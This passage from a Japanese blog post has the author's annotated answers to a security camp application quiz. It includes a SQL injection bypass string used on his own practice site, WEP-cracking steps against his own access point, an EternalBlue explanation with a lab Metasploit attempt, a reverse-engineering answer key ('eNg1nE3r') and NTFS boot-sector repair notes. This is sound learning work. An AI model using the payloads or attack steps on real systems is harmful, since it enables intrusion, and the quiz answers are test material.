  4003fa:       83 f9 08                cmp    $0x8,%ecx
  4003fd:       b8 01 00 00 00          mov    $0x1,%eax
  400402:       75 3d                   jne    400441 <main+0x81>
  400404:       48 8b 32                mov    (%rdx),%rsi
  400407:       31 c0                   xor    %eax,%eax
  400409:       30 c9                   xor    %cl,%cl
  40040b:       48 89 f2                mov    %rsi,%rdx
  40040e:       48 d3 ea                shr    %cl,%rdx
  400411:       83 e2 0f                and    $0xf,%edx
  400414:       0f b6 54 14 f0          movzbl -0x10(%rsp,%rdx,1),%edx
  400419:       48 d3 e2                shl    %cl,%rdx
  40041c:       83 c1 04                add    $0x4,%ecx
  40041f:       48 09 d0                or     %rdx,%rax
  400422:       83 f9 40                cmp    $0x40,%ecx
  400425:       75 e4                   jne    40040b <main+0x4b>
  400427:       48 33 05 92 ff ff ff    xor    -0x6e(%rip),%rax        # 4003c0 <main>
  40042e:       48 ba 85 03 0e 67 b3    movabs $0x600967b3670e0385,%rdx
  400435:       67 09 60
  400438:       48 39 d0                cmp    %rdx,%rax
  40043b:       0f 95 c0                setne  %al
  40043e:       0f b6 c0                movzbl %al,%eax
  400441:       c3                      retq
```

##問7
chal01.zipには、USBメモリのディスクイメージusb_disk_modified.img が入っています。
そのイメージファイルをマウントしようとしましたが、エラーが出てマウントできませんでした。
どうやらどこかが壊れているようです。
ファイルシステムの構造を調べ、壊れていると思った全ての箇所を修正し、
マウントツール(*1)でマウントできるようにした後、
ファイルシステム上に存在するPDFファイルを救い出してください。
* (*1)マウントツールの例
    * mount (for linux)
    * hdiutil (for macos)
    * FTK Imager(for Windows)

また、以下の設問の答えとその解き方を、ファイルシステムの調査結果を用いて説明してください。
答えのみの場合は正解とはみなしません。修正箇所が複数ある場合は、全て列挙してください。
1. このイメージの元のファイルシステムの名称は?
2. どのオフセットを何のバイト列に置き換えて直したのか?壊れていると判断した理由は?
3. そのオフセットの位置は何という名称の構造体の何というメンバがあるはずなのか?
4. PDFファイルのハッシュ値をすべてsha256で答えよ。

回答

グレー背景となっている部分が回答です.

  • 問1
①連立方程式計算機
大学ではじめにC言語を習ったので、それを実際に使ってプログラミングに慣れたいと思ったのと、線形代数学の授業や課題で連立方程式を扱うことが多く、私自身ケアレスミスがかなり多いので、自分で解いた問題の連立方程式を使う部分について、きちんと正解しているかを確認するために作った。
基本構造としては、ユーザがテキストファイルに解きたい連立方程式の各未知数の係数を書き込み、そのファイルから係数部分を読み取って、線形代数の講義で習った通り基本変形を行うことでプログラムが解き、たとえば
{A=3
{B=1
というふうにそれぞれの解をコマンドプロンプト上で表示させる。係数入力用テキストファイルには、もしA+2B=3、(-1/8)A-4B+C=0という3元一次連立方程式を解かせたいとすると、以下のように行列に似た形式で入力する。
1 2 0 3
-1/8 -4 1 0
ただし、線形代数の教科書(中高でもそうである)では整数でない解についてはもちろん分数で記載していたので、解は整数または分数で出力させるようにしてある。そのために、少々複雑になってしまったが、プログラムでは入力した係数のすべてを分数に直してから基本変形を行うようにした。
また、式の個数に対し未知数の個数が多ければ、どれかを適当な実数とおかなければならないので、それも実装した。係数行列の行、列数をそれぞれL,R(L<R)とすると、列交換を行わない限り第L+1,L+2,…,Rの未知数を任意の実数とおく。
また、答えが見やすいように表示方法にも次のような工夫をした。
・先頭の係数については、+符号をつけない。
・分数は括弧()でくくり、符号+-は括弧の前に置く。
・未知数を定数と置いた時には、最後に「(ただし、a,b,…は任意の定数)」と表示する。
係数入力ファイルにも、入力失敗を検知するためのしくみを設けた。
・未知数の個数がマクロ定義による制限を超えている。
・数字と、マイナスやスラッシュ以外の文字が入力されている。
・正しく行列形式になっていない。たとえば1行目には9個係数が書かれているのに2行目には8個しか書かれていないなど。
・小数点、スラッシュが1係数あたり2個以上入力されている。
・マイナスが係数の先頭にない。
・EOFの行を除き、まったく入力されていない行がある。
・分数の分母、分子として小数が入力されている。
最近は放置気味であったが、応募を機にまだ腕はないながらもGitHubアカウントを作ったので、今後は複数の連立方程式を一気に解いてくれるようにしたり、計算途中で分母分子が大きくなったときにオーバーフローが起きてまったく違う答えを出力しないように分数から浮動小数点数形式に直して計算したり、解けない問題をもっと探して修正をしたり、入力制限やエラー検出を増やしたりして、クオリティを上げて、後輩に使わせてあげたりしたい。

②自分で脆弱性を持つWebサイトを作り、攻撃と防御を経験する。
昨年12月から、CTFや様々な本、[---REDUCTED---]で攻撃手法やアセンブリ言語を勉強していたものの、セキュリティに関しては初心者である今の状態から、あとたった数年でセキュリティのプロとして新しい技術を瞬時に吸収できるようになったり、ディジタルフォレンジックや脆弱性の検証などができるまでに成長するまでの道筋がどうしてもつかめなかったので、今年4月にセキュリティに詳しい先輩方がいらっしゃるという研究室に訪問させていただき、相談をしたところ、「攻撃の練習をCTFでするだけではなく、実際に脆弱性のあるWebサービスを作ってみて、どうやってWebページが作られているのかだとか、攻撃を防ぐ機構を実際に体験して知ったほうがいいよ」との助言をいただいたので、localhost上で練習用サイトを構築しはじめた。具体的には、色んな脆弱性を持つ、例えばデータベースに登録された名前を入力して、パスワードを確認するなどの簡素なWebページを作って、実際にSQLインジェクションなどが成功するのかを検証している。それをやってみようと思ったときに、どうやってlocalhost上でサーバを立てるのか、どこにhtmlやphpのファイルを置くのかといった初歩的なこともわからず、そしてphpでどのようにMySQLなどのデータベース管理システムに接続するのかも、実際にCTFでSQLインジェクションをやったことがあるにもかかわらず知らなかったのがとても衝撃的だった。少し調べると、xamppという、ApacheやMySQLなどが含まれるlocal環境でのWebサービス開発用ソフトウェアがあったので、それを利用した。今のところ、SQLに関連した脆弱性では「' or '1'='1」などの入力を利用したパスワード認証の突破や、Union-based-SQL-injectionができるページを作った。これからは、htmlspecialchars()関数などによるエスケープを施してみたり、バインド機構を実装して、その防御効果を検証していく。また、XSSについても、クッキーの抜き出しや、UTF-7と認識させてエスケープ処理を回避するような基本的なXSSを試してみたい。また、Pythonでソケットプログラミングを習い始めたので、Time-based-blind-SQL-injectionなどのブラインドSQLインジェクションを試しながら、ソケットプログラミングの練習をしようと思っている。

書いてて苦しかったです.他の応募課題ではみんな自作OSとかコンパイラ作成とか高度なことをやっているので,経験ではまったく及ばないからです.来年受けようと思ったのも,これが理由です.アレを見た方はご存知かと思いますが,僕はプログラミング言語のベストプラクティスさえできていません.ただ,雑魚なりに色々書きました.しかしこんな僕でも受かったということは,他の応募課題がすごすぎて打ちひしがれている方々にも十分チャンスがあるということなのだ!!!!!!!!

  • 問2
これまでに何かを自主的に解析したことはなかったが、2月にNeverLAN CTFというCTFで、hashcatというオープンソースソフトウェアを用いて、WPA2-PSKの4wayハンドシェイクのパケットから辞書攻撃によってパスワードクラックをするという問題があったことを思い出したので、家で10年ほど前から使用しているWi-Fiアクセスポイントの暗号化方式は推奨されるものとなっているか、私でもできるほど簡単にクラックできてしまわないかをこの機会に調べてみることにした。
通信の暗号化方式は、アクセスポイント(親機)に書いてあり、128bitのWEPであった。
WEP暗号化方式は脆弱であり、104bitのWEP鍵については2008年に神戸大と広島大が鍵の解読を瞬時に行えることを発表しており、WEPからWPA/WPA2へと暗号化方式を移行するように推奨している。
今回は、http://ra66itblog.hateblo.jp/entry/2016/05/29/203015を参考に、Kali-linux 2018.1を利用して自宅Wi-Fiアクセスポイントのパスワードの解析を試みた。
まず、iwconfigコマンドを打ち、動作している無線LANインターフェイスの情報を確認した。しかし、次のように表示されてしまった。
eth0     no wireless extensions.
lo       no wireless extensions.
この表示について調べてみたところ、原因は、私のPCのKali LinuxはVirtualbox仮想化ソフトを利用して、ホストOSのWindows 10 proにゲストOSとしてインストールされているが、ネットワークアダプタの設定がブリッジ接続であるために、無線LANアダプタが認識されていないからであるということがわかった。
そこで、この表示について検索してみると、compat-wireless-2010-06-26というドライバを用いるとwlan0インターフェイスを作成できることが分かった。それをダウンロードしたのち、当該ディレクトリ内でmake loadコマンドを打つと、無線LANインターフェイスとしてwlan0が認識された。
wlan0が認識されたところで、次にairmon-ng start wlan0と打ち、解析に用いるパケットを収集できるようにwlan0をモニタモードに変更した。iwconfigコマンドで、wlan0についてMode:Monitorとなっており、モニタモードになっていることが確認できた。また、無線LANインタフェース名がwlan0monと変化した。
次に、airodump-ng wlan0monコマンドによって、近くにあるアクセスポイントを探し、それぞれのBSSIDや暗号化方式、通信の強度などを表示させようとした。ここで、本来なら自宅アクセスポイントを含む最低1つのアクセスポイントの情報が表示されるはずであったが、何も表示されなかった。
同じ症状にあっている人はいないかgoogle検索をすると、動画(https://www.youtube.com/watch?v=jpzZe7PO8TY)を見つけた。そのコメント欄にはいくつかの対処法が書かれていた。
(1)VirtualBoxの機能拡張パッケージをダウンロードし、USB規格の設定をUSB2.0またはUSB3.0に変更する。
(2)Kali Linuxにデフォルトで搭載されているwifiteという別のアプリでWEP解析を行う。
しかしながら、(1)は効果がなく、(2)ではairodump-ngと同様に、アクセスポイントが発見されなかったため解析することができなかった。
もっと調べると、compat-wireless-2010-06-26を使ってwlan0インターフェイスを認識させて同じ手順を踏み、airodump-ngコマンドを実行して同じ問題に当たったという動画が見つかり、その次の動画(https://www.youtube.com/watch?v=ZdKUd1XaMYg)では、次の3つの対処法が紹介されていた。
(1)VirtualBoxなどの仮想環境上ではなく、デュアルブート環境でKali Linuxを動かす。
(2)外部から無線LANアダプタを取り付ける。
(3)マシンのアップデートを行う。
というように、今までのcompat-wirelessを利用した方法ではWEP解析はできないことがわかった。
この問題にとりかかったときには課題提出締め切りまであと3日というところだったので、これまでに書いたこと程度のことしか行えなかったが、今度はUSBの無線LANアダプタを使用することで、多くのWEP解析方法紹介サイトと同様な環境下で自宅のアクセスポイントのWEP解析ができるのかどうかを試そうと思っている。また、aircrack-ngでは飛び交っているパケットを傍受してWEP解析を行うことから、Wiresharkで得たパケットのみで解析する方法もあると思うので、もう少し調べたい。

これが一番苦し紛れです.この問題の回答を書き始めたのが締め切り3日前だったのはしょうがないとして,問題がプロ諸氏にとってはお茶の子さいさいなもの,それでいてメインの部分の前でつまづき,終了.これはいかに熱意重視とはいえ,落選決定だと思いました.恥ずかしい……!!!次の問題に移りましょうか()

  • 問3
[Twitterアカウント]
名前:Ciruela
ユーザー名:@__Xcyba17her_

[GitHubアカウント]
https://github.com/Ciruela-Xcyba17her

[はてなブログ]
http://verliezer93764.hatenablog.jp/

Githubアカウントを急遽作ったんですが,今まで述べましたように,無知が露呈しています.しかし,他のアカウントも含め,自分がどういう人物か知ってもらうため,正直に載せました.この行為が吉と出たか大凶と出たか,僕にはわかりません.

  • 問4
【A1~3】「インシデントレスポンスで攻撃者を追いかけろ」
今回セキュリティキャンプに応募した理由の一つとして、セキュリティ技術者が現場でどのような技術を用いて、どのようにして人々の情報を守り、犯人の追跡をするのかを知ることによって、「初心者である今からセキュリティ技術者として人々を守る力を持つようになるまでの道筋・勉強方法がつかめない」という最大の悩みを解決し、これからの大学・大学院生活における学び方に生かしていきたいというものがある。この講義では、マルウェア解析、デジタルフォレンジック、ログ解析などを仮想的であってもインシデントが発生した環境で手を動かして経験することができる絶好の機会なので、セキュリティ技術者となるためには自分は何をどのように学ぶべきなのか、今後の学び方を身に着けたい。

【A4】「IN-DEPTH STATIC MALWARE ANALYSIS」
今年2月からアセンブリ言語を自習しはじめ、CTFでも、何回か変数と数値を比較しているだけであったり、コードがせいぜい30行程度であるようなプログラムに関する易しめの問題をだんだん解けるようになってきた。しかしながら、メガバイト単位の大きいプログラムであったり、数~数十キロバイトのサイズでも、何も出力せず、ウィンドウも表示しないようなプログラムには手が出ない状況である。この講義では、攻撃者が作るプログラムの静的解析を経験することによって、長いマルウェアコードの中からどのようにして素早く核となるコードを見つけ、その挙動を見抜くか、そしてもともと攻撃者の使うコードにはどのような関数が使われているのかを学び、その後CTFなどで解析の練習を重ね、静的解析の力をつけていくきっかけにしたい。

【E5】「Linuxカーネル脆弱性入門」
問5では、EternalBlueについて調べたが、途中で「非ページプールでのバッファオーバーフローを起こす」ことについて、まず非ページプールとはどこのことなのか、またそれはどのように使われるのかについてかなりの時間を費やし、最後にはなんとか脆弱性攻撃のおおまかな原因や方法はつかめたが、実際の攻撃のイメージがわかなかった。でも、攻撃者たちはそのようなコンピュータの仕組みについてはもちろん熟知しており、その知識をもとにマルウェアを作るはずである。よって、守る側の自分もLinuxカーネルなどについての知識についてはつけておかなければならないと強く感じたので、低いレイヤを対象とした脆弱性についてもすぐに理解できるように、この講義を通してカーネルの基本や学び方を身に着けたいと思っている。

【C6】「パターン認識とセキュリティ」
去年に人工知能分野が最近急速な成長を遂げつつあることを知り、それを何らかの形でセキュリティ分野に応用すれば、増え続けるサイバー攻撃に対する防御側の不足を補えるのでは?という思いはあった。日経bpの「すべてわかるセキュリティ大全2018」という本では、マカフィー社のMcafee Endpoint Threat Defenceやシマンテック社のSymantec Endpoint Protectionなどのウイルス対策ソフトでは機械学習アルゴリズムを導入していることが紹介されており、[---REDUCTED---]、機械学習には非常に興味を持っている。この応募課題が終わり次第機械学習に入門していこうと思っているので、この講義に参加することで、機械学習をどのようにしてセキュリティ技術に応用できるのかを知りたい。

【A7】「本当にわかるSpectreとMeltdown」
私は、CPUはただ演算命令に従ってALUを動かし、演算をこなすだけのものと思っていたので、セキュリティには無関係であると思っており、CPUに脆弱性が見つかったときには、どうして命令をこなすだけのCPUが脆弱性を持つのかと思い、非常に驚いた。今回、この講義を利用して、今まで学んでこなかったCPUにはただ演算をこなすだけではなく、どんな役割や能力を持っているのかを知り、SpectreとMeltdownはどういうところにつけこんで攻撃をするのか、どんな被害が想定されるのかを確実に理解して、コンピュータの設計に関する知識として備えたいと思っている。

ただ思っていることを書きました.特に,僕自身セキュキャンは今後何をどう学んでいくかの参考にしたかったので,その講義をセキュキャン修了後にどのように生かしていきたいのかを書きました.

  • 問5
調べた脆弱性:EternalBlue
脆弱性を調べる上で、はじめはそれを概観しながらわからない単語を調べることで確実に理解を進めていき、次々と深くまで、単語の意味を調べつつ、進めていくことにした。
EternalBlueのCVE識別番号は、CVE-2017-0143である。まずは、EternalBlueは具体的にどのような脆弱性なのかを概観した。[1]のCurrent Descriptionという見出しによると、この脆弱性は、「遠隔地にいる攻撃者が、作成した(特殊な)パケットを送ることで、WindowsのSMBv1(SMB version 1.0)サーバ上で任意のコードを実行(RCE)できる」というものである。[2]によると、SMBとは、Server Message Blockの略称で、Windows OSで構成されたLAN上でファイルを共有するサービスの基礎となっているプロトコルである。OSI参照モデルではL6,7に位置しており、クライアント-サーバ型の構造をしている。
次に、そのSMBv1サーバ上でどのようにして任意コードを実行させるのか、より詳しい記述を探した。その結果、[3]が見つかった。かなり詳しく書かれていたので、このページの理解を目指すことにした。[3]によると、EternalBlueはSMBv1の3つのバグを使う。

(1)"Wrong Casting Bug"
SMBプロトコル上で、OS2 FEAをNT FEAに変換する過程にバグがある。
Os2FeaList構造体にSizeOfListInBytesというメンバがあり、SrvOs2FeaListSizeToNTという関数は何バイトのOS2 FEAをNT FEAに変換するかを計算しこの変数にその結果を格納する。その計算の過程は本来DWORD型の範囲で行われるべきであるが、上位2バイトを考えずにWORD型の範囲で行われてしまうことがある。一方、返り値としてもNT FEAのサイズは計算されるが、それは正しく行われる。よって、[3]にあげられている例のように、変換前にSizeOfListInBytesの値が0x10000であった場合に、変換すべきOS2FEAのサイズが0x1ff5d(バグがなければ0xff5d)となっており、これは変換後の本来のNTFEAのサイズよりも大きくなる。これはout-of-bounds write(領域外メモリへの書き込み)を発生させる。

(2)"Wrong Parsing Function Bug"
SMBプロトコルを通じてファイルを送信する際、SMB_COM_TRANSACTION2とSMB_COM_NT_TRANSACTという、データに関するサブコマンド群を使う。単一のパケットとして送信するにはデータの送信量が膨大すぎるときは、それぞれのサブコマンドの末尾に_SECONDARYを付けたSECONDARYサブコマンドを使用する。ここで、SMB_COM_TRANSACTION2とSMB_COM_NT_TRANSACT、そしてそれぞれのSECONDARYサブコマンドではどちらも送信できるデータ量の上限をヘッダに定義するが、前者ではWORD型とする一方、後者ではDWORD型で設定することとなっており、差異がある。また、最初にSMB_COM_NT_TRANSACTコマンド(データ量の最大値はDWORD型で設定)を打ち、その後SMB_COM_TRANSACTION2_SECONDARYコマンド(データ量の最大値はWORD型)で送信することも可能である。これにより、送られてきたOS2 FEAのサイズをWORD型で計算させて領域外メモリへの書き込みを行わせる(1)のバグを起こすことができる。

(3)"Non-paged Pool Allocation Bug"
SMBクライアントがサーバに対し認証され、接続およびセッションを確立するにはSMB_COM_SESSION_SETUP_ANDXリクエストを送る必要がある。SMB_COM_SESSION_SETUP_ANDXリクエストのフォーマットには2種類あり、どちらの認証でもリクエストはSMB_ParametersとSMB_Dataという2つの部分に分かれる。また、サーバ側では、それらが揃っているのかをSrvValidateSmbという関数が確認する。その中で、BlockingSessionSetupAndXという関数がSMB_Dataのデータを抽出するが、クライアントとサーバの間でリクエストフォーマットの認識の齟齬が生じることがあり、ByteCountというSMB_Dataのサイズを示すパラメータを違ったオフセットから読んでしまい、ByteCountを本来と異なる値で読んでしまう(本来より大きく計算される)ことがある。それによって、小さなパケットでも、非ページプールでの大きい領域の確保が行われることがある。

RCEを行うためには、非ページプール上で今までに述べた3つのバグを利用し、MDL Overwriteなどを行う。MDLとは、I/O命令に使用され、実メモリ上では一群のデータはバラバラに配置されることに対し、連続的にデータが配置される仮想メモリからポインタで実メモリを指すための構造である。SRVNETバッファのヘッダにはMDL構造があり、その前の領域からバッファオーバーフローを起こすことができれば、MDLを書き換えることができる。そのためには、まず複数のSRVNETバッファを生成させるカーネルグルーミングや、領域の解放を行い、バグ(3)で確保させておいた実質の空き領域とSRVNETバッファを連続させる。ただし、SRVNETバッファはSMBv2を実現するsrvnet.sysによって、SRVバッファはSMBv1を実現するsrv.sysによって生成され、カーネルグルーミングによって発生させるSRVNETバッファについては(1)と(2)のバグは起こさせない。また、HAL’s Heapという、アドレス位置が不変なカーネル構造体があり、それはWindows 8以前のバージョンで実行権限を持つ。つまり、MDL上のポインタをHAL's Heapに書き換えれば、HAL’s Heapに任意のシェルコードを書き込ませてRCEを実行することができる。そのためには、(1)と(2)のバグによって、バグ(3)により確保された空き領域上でSRVバッファによるオーバーフローを起こさせ、MDLを書き換える。

次に、私の環境でこの脆弱性のエクスプロイトが実験できるかどうか調べたところ、多くのWebページや動画がMetasploitという脆弱性のペネトレーションテストソフトを用いていた。また、EternalBlueに加え、バックドアを設置するDoublePulsarを併用したMetasploit用コードがGitHub上で公開されており(https://github.com/ElevenPaths/EternalBlue-Doublepulsar-Metasploit)、それを利用した方法もあった。今回はそれを利用してみる。方法は、まずGithubなどから入手した。Metasploitを起動した後、use xxx(xxxは攻撃用コード)として攻撃方法を設定して、setコマンドで攻撃に要する各パラメータを設定する。exploitコマンドで攻撃を開始し、テストターゲットとしてhttps://developer.microsoft.com/en-us/microsoft-edge/tools/vms/からWindows7の仮想環境"IE8 on win7"をダウンロードして使用し、攻撃はKali Linux 2018.1を使用した。また、間違いを防ぐため、攻撃の際には、このPC全体が外部アクセスポイントに接続しないようにした。また、Windows7の方ではホストオンリーアダプタの設定を行い、IPアドレスを固定した。
しかし、私の環境では攻撃はうまくいかなかった。auxiliary/scanner/smb/smb_ms17_010を用いると、脆弱性を攻撃できそうなときにそれを意味する表示がされるが、その表示もされなかった。どこかで設定が間違っているか、"IE8 on win7"がすでに対策をしていると考えられるが、今回は断念した。この脆弱性の対策としては、Microsoft社の出しているパッチを適用すればよい。EternalBlueについて調べてみて、正直にいってその原理は私にとってとても難しいものであった(カーネルに関する知識を持っていなかった)。しかしながら、実際の攻撃はMetasploitによって簡単に行えてしまう。これは、知識のない者でも簡単に攻撃を行えることを意味している。サイバー犯罪を抑えるためには、OSSも含め、攻撃能力をもつツールの公開を制限したり、ダークウェブ上での流通にも大いに警戒する必要があると思った。

参照ページ:
[1] https://nvd.nist.gov/vuln/detail/CVE-2017-0143「CVE-2017-0143 Detail」
[2] http://www.atmarkit.co.jp/ait/articles/0410/29/news103.html「第20回 ファイル共有プロトコルSMB/CIFS(その1) (1/3)」
[3] https://research.checkpoint.com/eternalblue-everything-know/#bugb「EternalBlue ? Everything There Is To Know」

SpectreとMeltdownが気になっていたが,脳内で話題だったEternalBlueについて調べました.これがまた難しかった.SMBって何?サブコマンドって??非ページプールって??と,いちいち出てくる用語がわからない状態.
出てくる単語の多くがわからなくて,ググりまくりました.しかし実際に設定等をいじることはなかったので,今でもはっきりは理解できていないと思います.しかもソースが読み慣れてない英語で,ますます理解に時間がかかりました.いちいち調べていった結果,文字数はどんどん膨れ上がり,気づいたら6000文字オーバー.削りまくった結果,特に最後のあたりは詰め込んだ感じになっています.ただ,最後まで一定の理解はできるように頑張りました
この問題の影響で,いわゆる低レイヤと呼ばれる部分に深い興味を持っています!30日でOSを作るアレ,やってみたい.

  • 問6
アドレスAより割り当てられている命令について、「Aの行の命令」と書くことにする。まずは、ジャンプ命令の場所を抜き出した。すると400e36と4003f8と400402と400425の行にジャンプ命令があり、そのうち4003e6と400402の行のものは、main関数終了に向かってジャンプを行わせるものとなっており、その前には必ずraxに1を格納するmov命令がある。一般に、関数の返り値を格納するためにはraxが使用される。それらのジャンプを行わなかった場合、40043bの行にsetneという命令があるが、これは400438の行のcmp命令でゼロフラグが立つ、つまり等しいという結果が出ればalに0を格納し、そうでなければ1を格納するものである。したがって、400438の行までプログラムが進行し、raxとrdxの値が等しいという条件を満たせばプログラムは0を返すということがわかる。
ここからは、命令を1つ1つ確認していくことにしたが、早速4003caの行のcmp命令に困惑した。ここでediの値が数値2と等しくなければ先ほど述べた通り返り値は1になってしまう。ところが、このcmp命令以前には、ediに操作をする命令が書かれていない。そこで、問題文が「プログラムが0を返すようなコマンドライン引数を見つけよ」という趣旨だったことを参考に、Ubuntu 16.04 LTS上で、コマンドライン引数を指定したときどんな逆アセンブルコードが生成されるのか調べるために、以下のサンプルCプログラム(test.c)を作った。
//プログラム先頭
#include<stdio.h>
int main(int argc,char *argv[]){
	return 0;
}
//プログラム終了
与えられた逆アセンブル結果ではediと2の比較はほぼ先頭で行われていたので、gdbを用いて逆アセンブルし、main関数の前でrdiの値を調べた。その結果、rdiの値は、設定するコマンドライン引数の個数によって変化し、常にrdiの値が(コマンドライン引数の個数)-1となった。よって、rdiの値は、実行用文字列「./test」を含んだすべてのコマンドライン引数の個数で、main関数に入る前に代入されると考えた(なお、https://simple-teq.net/assembly/assm-14.htmlにその旨が書いてあったことを後に見つけた)。
したがって、このcmp命令は指定したコマンドライン引数の個数が1個であることを確認する働きをしていると結論した。
さて、アセンブリコードに戻る。4003c0の行から4003dcの行にかけては、raxを用いてスタック構造にに順次値をコピーしている。Debianではバイトオーダとしてリトルエンディアンを採用しているので、ここでは(espの値-16)のアドレスから(espの値-1)のアドレスの16バイトにかけて0f,0e,0d,…,03,09,07という数値が代入されていったことになる。
4003eeの行から4003f8の行にかけては、4003f3 の行のcmpb命令、4003f8の行のjne命令によるループ構造になっている。
ループの中で、(rdx-1+rax*1)というアドレスの計算が行われているが、そのベースとなっているrdx、すなわち4003e8の行でrdxに代入したrsi+8というアドレスは何を意味するかが分からなかった。rsi:ソースインデックスレジスタは、一般的にはベースとなるアドレスからのオフセットを表したり、文字列操作のための文字列のコピー元アドレスを格納したりする役目を持つが、この「文字列」というものが、問題にある「コマンドライン引数に指定する文字列」にあたるのではないかと考えたので、再びUbuntu 16.04 LTSで、rsiの指すアドレスとコマンドライン引数のアドレスの関係を調べるためのサンプルプログラムを書いた。
//プログラム先頭
#include<stdio.h>
int main(int argc,char *argv[]){
	printf(“%p\n”,argv[1]);
	printf(“%p\n”,argv[2]);
	printf(“%p\n”,argv[3]);
}
//プログラム終了
gdbを用いて、set args ABCD EFGH IJKLコマンドで3つのコマンドライン引数を指定し、最初のprintfの前でプログラムを止め、x/20x $rsiコマンドによって確認した。その結果は以下の通りである。
0x7fffffffe27e: 0x41 0x42 0x43 0x44 0x00 0x45 0x46 0x47
0x7fffffffe286: 0x48 0x00 0x49 0x4a 0x4b 0x4c 0x00 0x58
0x7fffffffe28e: 0x44 0x47 0x5f 0x56
この結果から、rsiはコマンドライン引数のアドレスを指すために使われ、各コマンドライン引数の終端には、0x00(文字列終端を示す)が格納されると考えた。すなわち与えられた逆アセンブルコードの4003f3の行では、(rdx-1+rax*1)のrdxにrsi+8を代入して(rsi+7+rax*1)というアドレスの中身(1バイト)と0を比較しているが、これはコマンドライン引数について、その終端であるかどうかをraxをカウントとして用いることで1バイトずつ確認していると考えられる。また、rsi+8というオフセット付きのアドレス指定となっているのが気になったが、rsiの指すアドレス以降には、”./test”というような実行用文字列が格納されることがわかった。よって、4003eeの行から4003f8の行までのループは、後のjne命令によりecxの値が8でなければmain関数が1を返してしまうことを考え、コマンドライン引数の長さが8バイトであることを確認する働きをしていると結論した。
400404の行ではrsiに先ほどの8バイトのコマンドライン引数を代入している。
400407の行ではeaxの値を0に、400409の行でカウントの値を0にしている。40040bの行から400425の行はループとなっており、400419の行でecxに4を加え、400422の行でecxの値と0x40を比較し、等しければループを抜けることから、ecxがカウンタの働きをし、このループは計16回繰り返される。
X回目のループの中で何を行っているのかをまとめる。まず、40040bの行から400411の行にかけてはコマンドライン引数を16進で表した場合の下から第X桁目を抽出する。それを仮にAとおく(0<=A<=15)。次に、初めに定義したスタック構造について、(rsp-16+A)のアドレスに位置する1バイトを取り出す。取り出した値を仮にBとおく。このとき、rsp-0x10というアドレスからrsp-1というアドレスまで16バイトにかけて0f 0e 0d 0b 00 01 06 0c 04 05 08 0a 02 03 09 07という並びで定数が格納されていることに注意する。すなわち、Bの取りうる値は0,1,2,…,e,fの,1桁の16進数である。400419の行から40041fの行にかけては、raxの下位から第X桁に対し、Bとor演算を行わせている。ここで、ループに入る前にはraxの値は0であるから、ループを経るごとにraxの値が下位から1桁ずつ決定されることがわかる。
ループの先を読んでみる。400427の行では、raxにrip-0x6e(mainの先頭を指す)のアドレスの内容とraxの内容とのXOR演算の結果を格納する。ここで、rip-0x6eというアドレスを参照した場合、単純に考えればニーモニックで命令を示す48とb8も含まれてしまい、仮にchal00がCなど高級言語で書かれているとしたら、はたして命令を示す機械語を利用するプログラムを書けるのかが疑問だった。しかし、あくまでも処理はアセンブリ言語における命令に厳格に従うと考え、リトルエンディアンを考慮して、rip-0x6eを参照した値は、0x01000b0d0e0fb848であるとした。400438の行ではraxとrdxの比較を行い、40043bでは最初に述べたsetne命令を実行する。ここでalが0に設定されればよいので、rax=rdx=0x600967b3670e0385となるようにしなければならない。したがって、ループ直後にはraxの値が0x01000b0d0e0fb848 XOR 0x600967b3670e0385 = 0x61096cbe6901bbcdとなればよい。
すなわち、ループ内で行っていることは考えると、コマンドライン引数として指定するのは、16進表記で、上位から1桁目が[rsp-0x10+0x6]=6より6、2桁目が[rsp-0x10+0x5]=1より5、3桁目が[rsp-0x10+0x4]=0より4、4桁目が[rsp-0x10+0xe]=9よりe、…と求めてゆき、0x654e67316e453372である。これは1バイトの文字列”eNg1nE3r”をASCII Codeで変換したものである。したがって、コマンドライン引数を”eNg1nE3r”とした場合のみchal00は数値0を返す。

とりあえず1行ずつ読んでいき,適宜命令についてググりました.また,資料が見つからなければ,簡単に実験をして近い内容をつかもうとしました.難しそうでも思い切って取り組んでみると,この問題はできるかもしれません.スタックポインタの動きについてはあっているのかわかりません.

  • 問7
Windows 10 Proからこの問題を解いた。

設問1.
拡張子偽装などはないとする。拡張子が.imgであるので、これはMacによって作られたディスクイメージファイルである。なので、まずはMac OSがサポートするファイルシステムを調べた。しかしながらそれだけでは何の情報もつかめなかったので、とりあえず与えられたイメージディスクファイルをバイナリエディタStirlingで開き、マジックナンバーや、先頭・末尾に近い部分から情報を得ようとした。その結果、ファイルシステム一覧のWebページにも載っていたNTFSというASCII文字列が0x6fバイト目からみられた。NTFSは、Windows NT系で多く使われるファイルシステムである。Macでは、"NTFS-3G for Mac OS X"や、“Paragon NTFS for Mac OS X"というドライバをインストールすれば読み書きが可能になる。
また、文字列"NTFS"が見つかった、イメージファイルの先頭部分をFTK Imagerは"MBR"と識別していた。問題で与えられたのは"usbディスクイメージ"であるから、この部分はMBRではなくてPBRなのではないか、また、FTK Imager上でMBRとなっているのは、ここの内容が壊れているために正しく読めていないからではないかと考えた。したがって、まずはPBRの修正を試みることにした。
ファイルシステムは、NTFSであると予想した。しかしながら、PBRに偶然にNTFSという特定の4バイトの文字列が入るとは考えにくいものの、決定的な証拠はわからなかった。

設問2と設問3.
設問1を通して、まずはPBRが破損しているかどうかを確かめることにした。PBRはBIOS Parameter Block(BPB), Extended BPB, Boot Code, End of sector Marker(内容はブートセクタ終了を示す0xAA55)の4つの部分で構成されている。各構造体やメンバの名称はhttp://ultradefrag.sourceforge.net/doc/man/ntfs/ntfs_layout.h.htmlを参照した。以降、修復場所を示していく。

1.オフセット0x3から始まる4バイト
これは、"NTFS_BOOT_SECTOR"構造体の"oem_id"というサイズが8バイトのメンバで、ファイルシステムがNTFSであることを示すために必要である。本来"NTFS"という4バイトのASCII文字列と0x20が4バイト分の合計8バイトが入るが、"NTFS"となる部分がすべて0になってしまっている。したがって、"NTFS"を表す"4E 54 46 53"に書き直す。その後の4バイトにはすべて0x20が入るが、これはそのまま存在している。

2.オフセット0xbから始まる2バイト
